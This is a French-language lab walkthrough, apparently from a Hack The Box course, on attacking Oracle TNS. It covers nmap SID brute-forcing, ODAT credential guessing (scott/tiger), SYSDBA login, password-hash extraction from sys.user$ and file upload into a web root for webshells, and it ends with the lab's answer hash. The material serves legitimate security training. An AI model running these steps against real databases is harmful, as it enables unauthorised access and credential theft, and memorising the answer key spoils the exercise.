Oracle TNS (Transparent Network Substrate)

✨ Introduction

Oracle TNS (Transparent Network Substrate) est un protocole de communication d'Oracle qui permet la communication entre les bases de données Oracle et les applications clientes, quel que soit le protocole réseau sous-jacent. Il est conçu pour fonctionner sur divers protocoles tels que TCP/IP, IPX/SPX ou encore AppleTalk. À travers Oracle Net Services, il permet la résolution de nom, la gestion des connexions, l'équilibrage de charge et la sécurité.

TNS est utilisé dans les secteurs exigeants comme la finance, la santé ou la vente au détail, grâce à ses capacités de chiffrement intégrées et son support des technologies modernes comme IPv6 et SSL/TLS.

🔧 Configuration par défaut

  • Port par défaut : TCP/1521

  • Fichiers de configuration :

    • tnsnames.ora (client)

    • listener.ora (serveur)

  • Chemin typique : $ORACLE_HOME/network/admin

  • Gestion à distance activée par défaut dans Oracle 8i/9i, désactivée dans Oracle 10g/11g

Exemple tnsnames.ora

ORCL =
  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = <IP CIBLE>)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = orcl)
    )
  )

Exemple listener.ora

SID_LIST_LISTENER =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = PDB1)
      (ORACLE_HOME = C:\\oracle\\product\\19.0.0\\dbhome_1)
      (GLOBAL_DBNAME = PDB1)
    )
  )

LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
      (ADDRESS = (PROTOCOL = TCP)(HOST = orcl.inlanefreight.htb)(PORT = 1521))
      (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC1521))
    )
  )

🚫 Paramètres sensibles

Paramètre
Description

SERVICE_NAME

Nom du service ciblé

HOST

Adresse IP ou FQDN du serveur Oracle

PORT

Port d'écoute (par défaut 1521)

SERVER

Type de serveur : DEDICATED ou SHARED

USER / PASSWORD

Identifiants pour l’authentification

SSL_VERSION

Version SSL/TLS utilisée

TRACE_LEVEL / LOG_FILE

Options de trace/logging

🔒 Des mots de passe par défaut peuvent être présents :

  • SYS / CHANGE_ON_INSTALL

  • DBSNMP / dbsnmp

  • Oracle 10g n'a pas de mot de passe par défaut, mais les comptes peuvent être présents et inactifs.

🧪 Installation d’ODAT & SQL*Plus (Pwnbox)

wget https://download.oracle.com/.../instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
wget https://download.oracle.com/.../instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
sudo mkdir -p /opt/oracle
sudo unzip -d /opt/oracle instantclient*.zip
export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH

# ODAT (Oracle Database Attacking Tool)
git clone https://github.com/quentinhardy/odat.git
cd odat/
pip3 install -r requirements.txt

Test ODAT

./odat.py -h

🔮 Enumeration avec Nmap

sudo nmap -p1521 -sV <IP CIBLE> --open

Sortie possible :

PORT     STATE SERVICE    VERSION
1521/tcp open  oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)

Brute-force des SID

sudo nmap -p1521 -sV <IP CIBLE> --script oracle-sid-brute

Sortie : XE

🧐 Exploitation avec ODAT

./odat.py all -s <IP CIBLE>

Crédentials trouvés : scott/tiger

✅ Connexion avec SQL*Plus

sqlplus scott/tiger@<IP CIBLE>/XE

Commandes utiles

select table_name from all_tables;
select * from user_role_privs;

Connexion en tant que SYSDBA

sqlplus scott/tiger@<IP CIBLE>/XE as sysdba

Extraction des hash

select name, password from sys.user$;

💾 Upload de fichiers

echo "Oracle File Upload Test" > testing.txt
./odat.py utlfile -s <IP CIBLE> -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt

Vérification :

curl -X GET http://<IP CIBLE>/testing.txt

🔗 Chemins courants pour webshells

OS
Chemin

Linux

/var/www/html

Windows

C:\inetpub\wwwroot

📚 Ressources utiles


Enumerate the target Oracle database and submit the password hash of the user DBSNMP as the answer.

Afin de configurer notre machine à ce challenge, nous exécutons les commandes suivantes :

wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
sudo mkdir -p /opt/oracle
sudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
sudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
source ~/.bashrc
cd ~
git clone https://github.com/quentinhardy/odat.git
cd odat/
pip install python-libnmap
git submodule init
git submodule update
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor passlib python-libnmap
sudo apt-get install build-essential libgmp-dev -y
pip3 install pycryptodome

Voici la commande executée une fois ceci fait :

$ odat.py all -s 10.129.205.19

L'utilisation de cette commande nous permets d'obtenir ceci :

[+] Valid credentials found: scott/tiger.

Nous allons maintenant utiliser ces identifiants afin de nous connecter via sqlplus :

$ sqlplus scott/tiger@10.xx.xx.xx/XE as sysdba

Une fois connectés, nous pouvons lister les utilisateurs et les mots de passe associés concernant l'utilisateur DBSNMP :

$ sqlplus scott/tiger@10.129.205.19/XE as sysdba

Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

SQL> select name, password from sys.user$;

NAME			       PASSWORD
------------------------------ ------------------------------
ORACLE_OCM		       5A2E026A9157958C
RECOVERY_CATALOG_OWNER
SCHEDULER_ADMIN
HS_ADMIN_SELECT_ROLE
HS_ADMIN_EXECUTE_ROLE
HS_ADMIN_ROLE
OEM_ADVISOR
OEM_MONITOR
DBSNMP			       E066D214D5421CCC
APPQOSSYS		       519D632B7EE7F63A

Nous pouvons maintenant obtenir le hash associé au mot de passe de l'utilisateur DBSNMP qui est E066D214D5421CCC.


Mis à jour